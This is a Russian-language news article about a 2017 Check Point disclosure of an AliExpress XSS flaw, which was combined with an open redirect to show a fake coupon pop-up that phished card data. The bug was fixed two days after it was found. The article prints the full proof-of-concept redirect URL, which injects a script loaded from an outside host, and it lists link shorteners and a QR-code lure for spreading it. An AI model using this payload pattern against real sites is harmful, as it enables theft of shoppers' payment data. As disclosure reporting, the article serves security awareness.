На AliExpress найдена уязвимость, которая позволяет внедрять вредоносный код

Баг сайта AliExpress мог быть использован для фишинга данных кредитных карт посетителей сайта.
сайт AliExpress

Проблема официального сайта AliExpress была обнаружена ещё 9 октября 2017 года, а устранена уже 11 октября. Об этом заявили эксперты Check Point, первыми сообщившие о найденной дыре в системе безопасности.

Уязвимость позволяла злоумышленникам присылать посетителям сайта ссылки на страницы AliExpress, в которых уже содержался вредоносный JavaScript-код. При переходе на заражённую страницу код выполнялся в браузере, обходя защиту AliExpress от XSS-атак из-за существовавшей open redirect уязвимости сайта.

Система купонов

AliExpress использует систему купонов, чтобы привлечь новых клиентов для покупок в магазине. Очень часто при посещении сайта вы можете увидеть всплывающее окно, предлагающее ввести данные кредитной карты для последующей оплаты заказов. Это, по мнению AliExpress, сделает работу с ресурсом более удобной, так как отпадёт необходимость постоянного ввода данных, а также позволит выиграть купон на покупку.

сайт AliExpress

Если злоумышленник найдёт способ сделать инъекцию зловреда, он сможет обойти логику работы системы безопасности сайта и создать пейлоад, который выглядит подобным образом:

сайт AliExpress

Атака может начаться с рассылки фишинговых писем, содержащих вредоносную ссылку. После перехода по этой ссылке клиент перенаправляется на страницу входа aliexpress.com. Затем после вполне обычного процесса регистрации отображается всплывающее фишинговое окно с купоном, запущенное на поддомене AliExpress. Введённые банковские данные для получения купона отправляются прямиком хакерам.

Обнаружение уязвимости

AliExpress состоит из множества веб-сайтов и поддоменов, работающих в группе AliBaba. Экспертами было установлено, что us.cobra.aliexpress.com некорректно работает с параметром cb. Именно манипуляции с этим параметром могли позволить злоумышленникам выполнять произвольный JS-код на поддомене AliExpress.

сайт AliExpress

Отправка же вредоносного купона напрямую жертве не давала никакого эффекта, поскольку сайт AliExpress имеет защиту от межсайтового скриптинга.

сайт AliExpress

Она базируется на проверке заголовка референта (referrer header), и, если он не задан или задан неправильно, то сервер отклоняет запрос на его обработку.

Что такое референт и его заголовок?

Референт является обычным HTTP-заголовком, который определяет URL страницы, с которой осуществлён переход. Например, при ручном наборе URL blog.checkpoint.com в строке поиска и последующем переходе на указанный сайт заголовок референта будет пустым, так как страница открыта в первый раз:

GET /2017/03/15/check-point-discloses-vulnerability-whatsapp-telegram/ 
HTTP/1.1Host: blog.checkpoint.comUser-Agent: Mozilla/5.0 
(Windows NT 10.0; WOW64; rv:56.0) 
Gecko/20100101 Firefox/56.0

При дальнейшем открытии ссылки на YouTube с этой страницы браузер автоматически добавляет заголовок референта, который сообщит открываемой странице, что переход на неё осуществлён именно с blog.checkpoint.com:

GET /UR_i5XSAKrg HTTP/1.1Host: youtu.beUser-Agent: Mozilla/5.0 
(Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0Referer: 
https://blog.checkpoint.com/2017/03/15/
check-point-discloses-vulnerability-whatsapp-telegram/

Важно отметить, что референт устанавливается на каждый запрашиваемый ресурс, такой как JS, CSS, различные изображения и так далее. Таким образом, если злоумышленник сам отправит вредоносную ссылку жертве, то это не будет иметь никакого эффекта. Чтобы обойти эту защиту, экспертам пришлось использовать простой трюк.

Обход защиты

Они изучили внешний вид ссылок AliExpress, которые используются для редиректа на другую ссылку. Именно её программисты и смогли подменить для инъекции зловреда.

https://login.aliexpress.com/havana_login_check.htm?
site=4&loginurl=https://us.cobra.aliexpress.com/
p4pforlist.html?pid=801_0000_0107%26cb=3D%253Cscript%
253Ealert%25281%2529%253C%252Fscript%253E&params
=https://us.cobra.aliexpress.com/p4pforlist.html?
pid=801_0000_0107%26cb=%253Cscript%2Btype%253D%2527text%
252Fjavascript%2527%2Bsrc%253D
%2522https%253A%252F%252Fgmailtracker.com%252Fpoc.js%
2522%253E%253C%252Fscript%253E

Следующим шагом было создание более короткой версии для этой огромной зловредной ссылки. Для этой цели подходили сервисы создания коротких ссылок.

  • http://bit.ly/2kyWVe1
  • https://goo.gl/jL7vd1
  • http://bit.do/AliExpress_Coupon

Ссылку «для красоты» можно было упаковать в QR-код:

сайт AliExpress

Переход по этой ссылке направит пользователя на страницу входа AliExpress, куда будет внедрён JS-код, отображающий фальшивое всплывающее окно с купоном. Все введённые данные утекут прямо в руки к злоумышленникам.

сайт AliExpress

Источник: Check Point Research